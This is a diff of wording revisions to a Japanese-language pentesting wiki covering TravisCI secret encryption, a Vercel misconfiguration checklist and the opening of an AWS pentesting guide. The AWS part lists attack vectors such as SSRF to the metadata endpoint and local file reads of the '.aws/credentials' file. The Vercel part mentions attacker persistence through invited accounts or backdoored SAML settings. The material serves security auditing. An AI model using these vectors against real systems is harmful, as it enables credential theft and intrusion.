+TravisCIは、Github、Bitbucket、Assembla、Gitlabなどの異なるgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。
 
 例えば、Githubでは以下の権限を求めます：
 
@@ -20,18 +20,18 @@ TravisCIでは、他のCIプラットフォームと同様に、**リポジト
 
 ![](<../../images/image (203).png>)
 
-**秘密が利用可能なブランチを指定する**ことが可能です（デフォルトではすべて）し、またTravisCIが**ログに表示された場合にその値を隠すべきか**（デフォルトでは隠します）も指定できます。
+**秘密が利用可能になるブランチを指定する**ことが可能です（デフォルトではすべて）し、またTravisCIが**ログに表示された場合にその値を隠すべきか**（デフォルトでは隠します）も指定できます。
 
 ### カスタム暗号化された秘密
 
-**各リポジトリ**に対して、TravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供**します。
+**各リポジトリ**に対してTravisCIは**RSAキーペア**を生成し、**プライベート**キーを保持し、リポジトリに**アクセス**できる人々にリポジトリの**公開鍵を提供します**。
 
 リポジトリの公開鍵にアクセスするには、次のようにします：
 ```
 travis pubkey -r <owner>/<repo_name>
 travis pubkey -r carlospolop/t-ci-test
 ```
-その後、このセットアップを使用して**秘密を暗号化し、それを`.travis.yaml`に追加することができます**。秘密は**ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。
+このセットアップを使用して、**秘密を暗号化し、それを `.travis.yaml` に追加できます**。秘密は **ビルドが実行されるときに復号化され**、**環境変数**でアクセス可能になります。
 
 ![](<../../images/image (139).png>)
 
@@ -39,7 +39,7 @@ travis pubkey -r carlospolop/t-ci-test
 
 ### カスタム暗号化ファイル
 
-以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することを許可します**：
+以前と同様に、TravisCIは**ファイルを暗号化し、ビルド中に復号化することも許可します**：
 ```
 travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
 
@@ -57,31 +57,31 @@ Make sure to add super_secret.txt.enc to the git repository.
 Make sure not to add super_secret.txt to the git repository.
 Commit all changes to your .travis.yml.
 ```
-注意：ファイルを暗号化する際、リポジトリ内に2つの環境変数が設定されます。
+ファイルを暗号化する際には、リポジトリ内に2つの環境変数が設定されることに注意してください。
 
 ![](<../../images/image (170).png>)
 
-## TravisCIエンタープライズ
+## TravisCI Enterprise
 
-Travis CIエンタープライズは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャ内にデプロイ**できます。Travis CIの「サーバー」版と考えてください。Travis CIを使用することで、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント（CI/CD）システムを有効にできます。
+Travis CI Enterpriseは、**Travis CIのオンプレミス版**であり、**あなたのインフラストラクチャにデプロイすることができます**。Travis CIの「サーバー」版と考えてください。Travis CIを使用すると、あなたが望むように構成およびセキュリティを設定できる環境で、使いやすい継続的インテグレーション/継続的デプロイメント（CI/CD）システムを有効にすることができます。
 
-**Travis CIエンタープライズは2つの主要な部分で構成されています：**
+**Travis CI Enterpriseは2つの主要な部分で構成されています：**
 
-1. TCI **サービス**（またはTCIコアサービス）は、バージョン管理システムとの統合、ビルドの認証、ビルドジョブのスケジューリングなどを担当します。
+1. TCI **サービス**（またはTCIコアサービス）は、バージョン管理システムとの統合、ビルドの承認、ビルドジョブのスケジューリングなどを担当します。
 2. TCI **ワーカー**およびビルド環境イメージ（OSイメージとも呼ばれます）。
 
 **TCIコアサービスには以下が必要です：**
 
 1. **PostgreSQL11**（またはそれ以降）のデータベース。
 2. Kubernetesクラスターをデプロイするためのインフラストラクチャ；必要に応じてサーバークラスターまたは単一のマシンにデプロイできます。
-3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CIエンタープライズの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。
+3. セットアップに応じて、RabbitMQなどのコンポーネントを自分でデプロイおよび構成することを検討するかもしれません - 詳細については[Travis CI Enterpriseの設定](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/)を参照してください。
 
 **TCIワーカーには以下が必要です：**
 
 1. **ワーカーとリンクされたビルドイメージを含むdockerイメージをデプロイできるインフラストラクチャ**。
 2. 特定のTravis CIコアサービスコンポーネントへの接続 - 詳細については[ワーカーの設定](https://docs.travis-ci.com/user/enterprise/setting-up-worker/)を参照してください。
 
-デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CIエンタープライズデプロイメントの総同時容量を決定します。
+デプロイされたTCIワーカーおよびビルド環境OSイメージの数は、あなたのインフラストラクチャにおけるTravis CI Enterpriseデプロイメントの総同時容量を決定します。
 
 ![](<../../images/image (199).png>)
 

src/pentesting-ci-cd/vercel-security.md

@@ -4,9 +4,9 @@
 
 ## 基本情報
 
-Vercelでは、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。
+Vercelにおいて、**チーム**はクライアントに属する完全な**環境**であり、**プロジェクト**は**アプリケーション**です。
 
-**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトに対するProject viewer permission**を持つユーザーに依頼して、プロジェクトを確認する必要があります（チーム設定も確認する必要がない場合）。
+**Vercel**のハードニングレビューを行うには、**Viewer role permission**を持つユーザー、または少なくとも**プロジェクトの閲覧者権限**を持つユーザーに依頼して、プロジェクトを確認する必要があります（チーム設定も確認する必要がない場合）。
 
 ## プロジェクト設定
 
@@ -19,7 +19,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **転送**
 - **誤設定:** プロジェクトを別のチームに転送することを許可します。
 - **リスク:** 攻撃者がプロジェクトを盗む可能性があります。
-- **プロジェクト削除**
+- **プロジェクトの削除**
 - **誤設定:** プロジェクトを削除することを許可します。
 - **リスク:** プロジェクトが削除される可能性があります。
 
@@ -36,8 +36,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **リスク:** ドメインハイジャック、トラフィックの傍受、フィッシング攻撃。
 - **SSL/TLS証明書管理**
 - **誤設定:** 弱いまたは期限切れのSSL/TLS証明書を使用します。
-- **リスク:** 中間者攻撃（MITM）に対して脆弱であり、データの整合性と機密性が損なわれる可能性があります。
-- **DNSSEC実装**
+- **リスク:** 中間者攻撃（MITM）に対して脆弱で、データの整合性と機密性が損なわれる可能性があります。
+- **DNSSECの実装**
 - **誤設定:** DNSSECを有効にしない、または不正確なDNSSEC設定。
 - **リスク:** DNSスプーフィングやキャッシュポイズニング攻撃に対する感受性が高まります。
 - **ドメインごとの使用環境**
@@ -57,7 +57,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **リスク:** 本番の秘密が開発またはプレビュー環境に漏洩し、露出が増加します。
 - **機密環境へのアクセス**
 - **誤設定:** 本番環境への広範なアクセスを許可します。
-- **リスク:** 無許可の変更やライブアプリケーションへのアクセスが可能になり、ダウンタイムやデータ漏洩の可能性があります。
+- **リスク:** 不正な変更やライブアプリケーションへのアクセスが行われ、ダウンタイムやデータ侵害の可能性があります。
 
 ---
 
@@ -69,13 +69,13 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 - **機密変数の露出**
 - **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。
-- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。
+- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ侵害につながる可能性があります。
 - **機密無効**
-- **誤設定:** 無効にされている場合（デフォルト）、生成された秘密の値を読み取ることが可能です。
-- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
+- **誤設定:** 無効（デフォルト）の場合、生成された秘密の値を読み取ることが可能です。
+- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。
 - **共有環境変数**
 - **誤設定:** これらはチームレベルで設定された環境変数であり、機密情報を含む可能性があります。
-- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
+- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。
 
 ---
 
@@ -86,7 +86,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 #### セキュリティ設定:
 
 - **無視されたビルドステップ（TODO）**
-- **誤設定:** このオプションは、新しいコミットがGitHubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。
+- **誤設定:** このオプションは、新しいコミットがGithubにプッシュされたときに実行されるbashスクリプト/コマンドを設定できるようです。これによりRCEが可能になる可能性があります。
 - **リスク:** TBD
 
 ---
@@ -102,7 +102,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **リスク:** 脆弱性、データ漏洩、または侵害された統合を通じたバックドアの導入。
 - **過剰な権限を持つ統合**
 - **誤設定:** 統合されたサービスに過剰な権限を付与します。
-- **リスク:** プロジェクトリソースへの無許可のアクセス、データの操作、またはサービスの中断。
+- **リスク:** プロジェクトリソースへの不正アクセス、データ操作、またはサービスの中断。
 - **統合監視の欠如**
 - **誤設定:** サードパーティ統合の監視や監査を怠ります。
 - **リスク:** 侵害された統合の検出が遅れ、セキュリティ侵害の影響が増大します。
@@ -111,53 +111,53 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 ### デプロイメント保護
 
-**目的:** 様々な保護メカニズムを通じてデプロイメントを保護し、誰が環境にアクセスしデプロイできるかを制御します。
+**目的:** 様々な保護メカニズムを通じてデプロイメントを安全にし、誰が環境にアクセスしデプロイできるかを制御します。
 
 #### セキュリティ設定:
 
 **Vercel認証**
 
 - **誤設定:** 認証を無効にするか、チームメンバーのチェックを強制しない。
-- **リスク:** 無許可のユーザーがデプロイメントにアクセスでき、データ漏洩やアプリケーションの悪用につながる可能性があります。
+- **リスク:** 不正なユーザーがデプロイメントにアクセスでき、データ侵害やアプリケーションの悪用につながる可能性があります。
 
 **自動化のための保護バイパス**
 
-- **誤設定:** バイパスシークレットを公開するか、弱いシークレットを使用します。
-- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作することができます。
+- **誤設定:** バイパス秘密を公開するか、弱い秘密を使用します。
+- **リスク:** 攻撃者がデプロイメント保護をバイパスし、保護されたデプロイメントにアクセスして操作する可能性があります。
 
 **共有リンク**
 
 - **誤設定:** リンクを無差別に共有するか、古いリンクを取り消さない。
-- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに無許可でアクセスすることができます。
+- **リスク:** 認証やIP制限をバイパスして保護されたデプロイメントに不正アクセスする可能性があります。
 
 **OPTIONS Allowlist**
 
 - **誤設定:** 過度に広いパスや機密エンドポイントを許可リストに追加します。
-- **リスク:** 攻撃者が保護されていないパスを利用して無許可のアクションを実行したり、セキュリティチェックをバイパスしたりすることができます。
+- **リスク:** 攻撃者が保護されていないパスを悪用して不正な行動を行ったり、セキュリティチェックをバイパスする可能性があります。
 
 **パスワード保護**
 
 - **誤設定:** 弱いパスワードを使用するか、安全でない方法で共有します。
-- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに無許可でアクセスされる可能性があります。
-- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
+- **リスク:** パスワードが推測されたり漏洩した場合、デプロイメントに不正アクセスされる可能性があります。
+- **注意:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
 
 **デプロイメント保護の例外**
 
-- **誤設定:** 本番または機密ドメインを誤って例外リストに追加します。
-- **リスク:** 重要なデプロイメントが公開され、データ漏洩や無許可のアクセスにつながる可能性があります。
-- **注:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
+- **誤設定:** 本番または機密ドメインを例外リストに誤って追加します。
+- **リスク:** 重要なデプロイメントが公開され、データ漏洩や不正アクセスにつながる可能性があります。
+- **注意:** **Pro**プランで利用可能で、**Advanced Deployment Protection**の一部として追加の$150/月が必要です。
 
 **信頼されたIP**
 
 - **誤設定:** IPアドレスやCIDR範囲を不正確に指定します。
-- **リスク:** 正当なユーザーがブロックされるか、無許可のIPがアクセスを得る可能性があります。
-- **注:** **Enterprise**プランで利用可能です。
+- **リスク:** 正当なユーザーがブロックされるか、不正なIPがアクセスを得る可能性があります。
+- **注意:** **Enterprise**プランで利用可能です。
 
 ---
 
 ### 関数
 
-**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含みます。
+**目的:** サーバーレス関数を設定し、ランタイム設定、メモリ割り当て、セキュリティポリシーを含めます。
 
 #### セキュリティ設定:
 
@@ -173,13 +173,13 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 - **キャッシュの消去**
 - **誤設定:** すべてのキャッシュを削除することを許可します。
-- **リスク:** 無許可のユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。
+- **リスク:** 不正なユーザーがキャッシュを削除し、潜在的なDoSを引き起こす可能性があります。
 
 ---
 
 ### Cronジョブ
 
-**目的:** 指定された間隔で自動化されたタスクやスクリプトをスケジュールします。
+**目的:** 自動化されたタスクやスクリプトを指定された間隔で実行するようにスケジュールします。
 
 #### セキュリティ設定:
 
@@ -191,7 +191,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 ### ログドレイン
 
-**目的:** 監視と監査のためにアプリケーションログをキャプチャし保存する外部ログサービスを設定します。
+**目的:** 外部ログサービスを設定して、監視と監査のためにアプリケーションログをキャプチャし保存します。
 
 #### セキュリティ設定:
 
@@ -208,27 +208,27 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 **ビルドログとソース保護**
 
 - **誤設定:** 保護を無効にするか、`/logs`および`/src`パスを公開します。
-- **リスク:** ビルドログやソースコードへの無許可のアクセスが可能になり、情報漏洩や脆弱性の悪用につながる可能性があります。
+- **リスク:** ビルドログやソースコードへの不正アクセスが行われ、情報漏洩や脆弱性の悪用につながる可能性があります。
 
 **Gitフォーク保護**
 
-- **誤設定:** 適切なレビューなしに無許可のプルリクエストを許可します。
+- **誤設定:** 適切なレビューなしに不正なプルリクエストを許可します。
 - **リスク:** 悪意のあるコードがコードベースにマージされ、脆弱性やバックドアが導入される可能性があります。
 
 **OIDC連携による安全なバックエンドアクセス**
 
-- **誤設定:** OIDCパラメータを不正確に設定するか、安全でない発行者URLを使用します。
-- **リスク:** 欠陥のある認証フローを通じてバックエンドサービスへの無許可のアクセスが可能になります。
+- **誤設定:** OIDCパラメータを不正に設定するか、安全でない発行者URLを使用します。
+- **リスク:** 誤った認証フローを通じてバックエンドサービスへの不正アクセスが行われる可能性があります。
 
 **デプロイメント保持ポリシー**
 
 - **誤設定:** 保持期間を短すぎる（デプロイメント履歴を失う）または長すぎる（不必要なデータ保持）に設定します。
-- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが増加します。
+- **リスク:** 必要なときにロールバックができなくなるか、古いデプロイメントからのデータ露出のリスクが高まります。
 
 **最近削除されたデプロイメント**
 
 - **誤設定:** 削除されたデプロイメントを監視しないか、自動削除のみに依存します。
-- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げます。
+- **リスク:** 重要なデプロイメント履歴の喪失が監査やロールバックを妨げる可能性があります。
 
 ---
 
@@ -254,12 +254,12 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 **攻撃チャレンジモードの有効化**
 
 - **誤設定:** これを有効にすると、DoSに対するWebアプリケーションの防御が向上しますが、使いやすさが犠牲になります。
-- **リスク:** ユーザーエクスペリエンスの問題の可能性があります。
+- **リスク:** ユーザーエクスペリエンスの問題が発生する可能性があります。
 
-### カスタムルールとIPブロッキング
+### カスタムルールとIPブロック
 
 - **誤設定:** トラフィックをブロック/解除することを許可します。
-- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックしたりする可能性があります。
+- **リスク:** 悪意のあるトラフィックを許可したり、無害なトラフィックをブロックする可能性があります。
 
 ---
 
@@ -272,8 +272,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 ### スキュー保護
 
-- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーとは異なるバージョンを使用することによる非同期を防ぎます。
-- **リスク:** これを無効にすると（有効な場合）、将来の新しいデプロイメントでDoSの問題を引き起こす可能性があります。
+- **誤設定:** この保護は、クライアントとサーバーアプリケーションが常に同じバージョンを使用することを保証し、クライアントがサーバーと異なるバージョンを使用することによる非同期を防ぎます。
+- **リスク:** これを無効にすると（有効な場合）、将来の新しいデプロイメントでDoSの問題が発生する可能性があります。
 
 ---
 
@@ -286,7 +286,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **転送**
 - **誤設定:** すべてのプロジェクトを別のチームに転送することを許可します。
 - **リスク:** 攻撃者がプロジェクトを盗む可能性があります。
-- **プロジェクト削除**
+- **プロジェクトの削除**
 - **誤設定:** すべてのプロジェクトを持つチームを削除することを許可します。
 - **リスク:** プロジェクトが削除される可能性があります。
 
@@ -298,7 +298,7 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 
 - **Speed Insightsコスト制限**
 - **誤設定:** 攻撃者がこの数値を増加させる可能性があります。
-- **リスク:** コストの増加。
+- **リスク:** コストが増加します。
 
 ---
 
@@ -310,8 +310,8 @@ Vercelでは、**チーム**はクライアントに属する完全な**環境**
 - **誤設定:** 攻撃者が制御するアカウントを招待して持続性を維持する可能性があります。
 - **リスク:** 攻撃者の持続性。
 - **役割**
-- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを増加させます。すべての可能な役割を確認するには[https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)を参照してください。
-- **リスク:** Vercelチームの露出が増加します。
+- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを高めます。すべての可能な役割を確認してください [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **リスク**: Vercelチームの露出が増加します。
 
 ---
 
@@ -321,11 +321,11 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当
 
 **潜在的な誤設定:**
 
-- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、無許可のアクセスやアクションを引き起こす。
-- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす。
-- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可する。
-- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらす。
-- **不一致な役割定義:** 異なるアクセスグループ間で不一致または不明瞭な役割定義を使用し、混乱やセキュリティの隙間を引き起こす。
+- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、不正アクセスや行動を引き起こす可能性があります。
+- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす可能性があります。
+- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可します。
+- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらします。
+- **一貫性のない役割定義:** 異なるアクセスグループ間で一貫性のないまたは不明確な役割定義を使用し、混乱やセキュリティの隙間を引き起こします。
 
 ---
 
@@ -343,39 +343,39 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当
 
 #### セキュリティ設定:
 
-- **チームメールドメイン:** 設定されると、この設定は指定されたドメイン（例: `mydomain.com`）で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボードでチームに参加させます。
-- **誤設定:**
-- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定する。
-- 会社特有のドメインの代わりに一般的なメールドメイン（例: `gmail.com`, `hotmail.com`）を使用する。
+- **チームメールドメイン:** 設定されると、この設定は、指定されたドメイン（例: `mydomain.com`）で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボード上でチームに参加させます。
+- **誤設定:** 
+- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定します。
+- 会社特有のドメインの代わりに一般的なメールドメイン（例: `gmail.com`, `hotmail.com`）を使用します。
 - **リスク:**
-- **無許可のアクセス:** 意図しないドメインのメールアドレスを持つユーザーがチームに参加するための招待を受ける可能性があります。
-- **データ露出:** 無許可の個人に機密プロジェクト情報が露出する可能性があります。
+- **不正アクセス:** 意図しないドメインのユーザーがチームに参加するための招待を受ける可能性があります。
+- **データ露出:** 機密プロジェクト情報が不正な個人に露出する可能性があります。
 - **保護されたGitスコープ:** 他のVercelチームが保護されたスコープからリポジトリをデプロイするのを防ぐために、チームに最大5つのGitスコープを追加できます。複数のチームが同じスコープを指定でき、両方のチームがアクセスできます。
 - **誤設定:** 重要なGitスコープを保護リストに追加しない。
 - **リスク:**
-- **無許可のデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。
+- **不正なデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。
 - **知的財産の露出:** 専有コードがデプロイされ、チーム外でアクセスされる可能性があります。
 - **環境変数ポリシー:** チームの環境変数の作成と編集に関するポリシーを強制します。具体的には、すべての環境変数が**機密環境変数**として作成され、Vercelのデプロイメントシステムによってのみ復号化できるように強制できます。
-- **誤設定:** 機密環境変数の強制を無効にする。
+- **誤設定:** 機密環境変数の強制を無効にしたままにします。
 - **リスク:**
-- **秘密の露出:** 環境変数が無許可のチームメンバーによって表示または編集される可能性があります。
-- **データ漏洩:** APIキーや資格情報などの機密情報が漏洩する可能性があります。
+- **秘密の露出:** 環境変数が不正なチームメンバーによって表示または編集される可能性があります。
+- **データ侵害:** APIキーや資格情報などの機密情報が漏洩する可能性があります。
 - **監査ログ:** チームの活動を過去90日間までエクスポートします。監査ログは、チームメンバーによって実行されたアクションの監視と追跡に役立ちます。
 - **誤設定:**\
-無許可のチームメンバーに監査ログへのアクセスを付与します。
+不正なチームメンバーに監査ログへのアクセスを付与します。
 - **リスク:**
 - **プライバシー侵害:** 機密ユーザー活動やデータの露出。
 - **ログの改ざん:** 悪意のある者が自分の足跡を隠すためにログを変更または削除する可能性があります。
-- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズし、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー（IdP）との統合を可能にします。
-- **誤設定:** 攻撃者がSAMLパラメータ（例: エンティティID、SSO URL、証明書フィンガープリント）を設定することでチームにバックドアを仕掛ける可能性があります。
+- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズでき、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー（IdP）との統合を可能にします。
+- **誤設定:** 攻撃者がSAMLパラメータ（例: エンティティID、SSO URL、証明書フィンガープリント）をバックドアする可能性があります。
 - **リスク:** 持続性を維持。
 - **IPアドレスの可視性:** IPアドレスが監視クエリやログドレインに表示されるかどうかを制御します。これは、特定のデータ保護法の下で個人情報と見なされる可能性があります。
-- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにする。
+- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにします。
 - **リスク:**
 - **プライバシー侵害:** GDPRなどのデータ保護規制に対する不遵守。
-- **法的影響:** 個人データの取り扱いに関する罰金やペナルティの可能性。
+- **法的影響:** 個人データの取り扱いに関する罰金や制裁の可能性。
 - **IPブロッキング:** VercelがリクエストをブロックすべきIPアドレスやCIDR範囲を設定できます。ブロックされたリクエストは請求に寄与しません。
-- **誤設定:** 攻撃者によって悪意のあるトラフィックを許可したり、正当なトラフィックをブロックしたりするために悪用される可能性があります。
+- **誤設定:** 攻撃者によって悪用され、悪意のあるトラフィックを許可したり、正当なトラフィックをブロックする可能性があります。
 - **リスク:**
 - **正当なユーザーへのサービス拒否:** 有効なユーザーやパートナーのアクセスをブロックします。
 - **運用の中断:** 特定の地域やクライアントのサービス可用性の喪失。
@@ -389,14 +389,14 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当
 #### **潜在的な誤設定とリスク**
 
 1. **不正確なAWSリージョンの選択**
-- **誤設定:** Secure Computeネットワークのためにバックエンドサービスのリージョンと一致しないAWSリージョンを選択します。
+- **誤設定:** Secure ComputeネットワークのAWSリージョンをバックエンドサービスのリージョンと一致しないように選択します。
 - **リスク:** レイテンシの増加、データ居住地コンプライアンスの問題、パフォーマンスの低下。
 2. **重複するCIDRブロック**
 - **誤設定:** 既存のVPCや他のネットワークと重複するCIDRブロックを選択します。
-- **リスク:** ネットワークの競合が発生し、接続の失敗、無許可のアクセス、またはネットワーク間のデータ漏洩を引き起こす可能性があります。
+- **リスク:** ネットワークの競合が発生し、接続の失敗、不正アクセス、またはネットワーク間のデータ漏洩が発生する可能性があります。
 3. **不適切なVPCピアリング設定**
-- **誤設定:** VPCピアリングを不正確に設定します（例: 不正確なVPC ID、未完成のルートテーブルの更新）。
-- **リスク:** バックエンドインフラストラクチャへの無許可のアクセス、セキュアな接続の失敗、データ漏洩の可能性。
+- **誤設定:** VPCピアリングを不正に設定します（例: 不正確なVPC ID、未完成のルートテーブルの更新）。
+- **リスク:** バックエンドインフラストラクチャへの不正アクセス、セキュアな接続の失敗、データ侵害の可能性。
 4. **過剰なプロジェクト割り当て**
 - **誤設定:** 適切な分離なしに複数のプロジェクトを単一のSecure Computeネットワークに割り当てます。
 - **リスク:** 共有IPの露出が攻撃面を増加させ、侵害されたプロジェクトが他のプロジェクトに影響を与える可能性があります。
@@ -405,19 +405,19 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当
 - **リスク:** IPスプーフィング、追跡の脆弱性、悪意のある活動に関連付けられた場合のブラックリスト化の可能性。
 6. **ビルドコンテナを不必要に含める**
 - **誤設定:** ビルド中にバックエンドアクセスが必要ない場合に、ビルドコンテナをSecure Computeネットワークに追加します。
-- **リスク:** 攻撃面の拡大、プロビジョニングの遅延、ネットワークリソースの不必要な消費。
-7. **バイパスシークレットを安全に扱わない**
-- **誤設定:** デプロイメント保護をバイパスするために使用されるシークレットを露出または不適切に扱います。
-- **リスク:** 保護されたデプロイメントへの無許可のアクセスが可能になり、攻撃者が悪意のあるコードを操作またはデプロイすることができます。
+- **リスク:** 拡大した攻撃面、プロビジョニングの遅延、ネットワークリソースの不必要な消費。
+7. **バイパス秘密を安全に扱わない**
+- **誤設定:** デプロイメント保護をバイパスするために使用される秘密を露出または不適切に扱います。
+- **リスク:** 保護されたデプロイメントへの不正アクセスが行われ、攻撃者が悪意のあるコードを操作またはデプロイする可能性があります。
 8. **リージョンフェイルオーバー設定を無視する**
 - **誤設定:** パッシブフェイルオーバーリージョンを設定しないか、フェイルオーバー設定を誤って設定します。
 - **リスク:** プライマリリージョンの障害時にサービスのダウンタイムが発生し、可用性の低下やデータの不整合が生じる可能性があります。
 9. **VPCピアリング接続制限を超える**
 - **誤設定:** 許可された制限（例: 50接続を超える）を超えてVPCピアリング接続を確立しようとします。
-- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断を引き起こす可能性があります。
+- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断が発生します。
 10. **安全でないネットワーク設定**
 - **誤設定:** 弱いファイアウォールルール、暗号化の欠如、またはSecure Computeネットワーク内の不適切なネットワークセグメンテーション。
-- **リスク:** データの傍受、バックエンドサービスへの無許可のアクセス、攻撃に対する脆弱性の増加。
+- **リスク:** データの傍受、バックエンドサービスへの不正アクセス、攻撃に対する脆弱性の増加。
 
 ---
 
@@ -429,9 +429,9 @@ Vercelの**アクセスグループ**は、事前定義された役割割り当
 
 - **機密変数の露出**
 - **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。
-- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。
+- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ侵害につながる可能性があります。
 - **機密無効**
-- **誤設定:** 無効にされている場合（デフォルト）、生成された秘密の値を読み取ることが可能です。
-- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。
+- **誤設定:** 無効（デフォルト）の場合、生成された秘密の値を読み取ることが可能です。
+- **リスク:** 機密情報の偶発的な露出や不正アクセスの可能性が高まります。
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/README.md

@@ -36,7 +36,7 @@ AWS 環境を監査するためには、どの **サービスが使用されて
 - github（または類似のもの）での **漏洩** - OSINT
 - **ソーシャル** エンジニアリング
 - **パスワード** の再利用（パスワード漏洩）
-- AWS ホスティングアプリケーションの脆弱性
+- AWS ホストアプリケーションの脆弱性
 - [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス
 - **ローカルファイル読み取り**
 - `/home/USERNAME/.aws/credentials`
@@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md
 {{#endref}}
 
 > [!NOTE]
-> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を行う必要があります：
+> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を実行する必要があります：
 
 ## 基本的な列挙
 
 ### SSRF
 
-AWS 内のマシンで SSRF を見つけた場合は、トリックのためにこのページを確認してください：
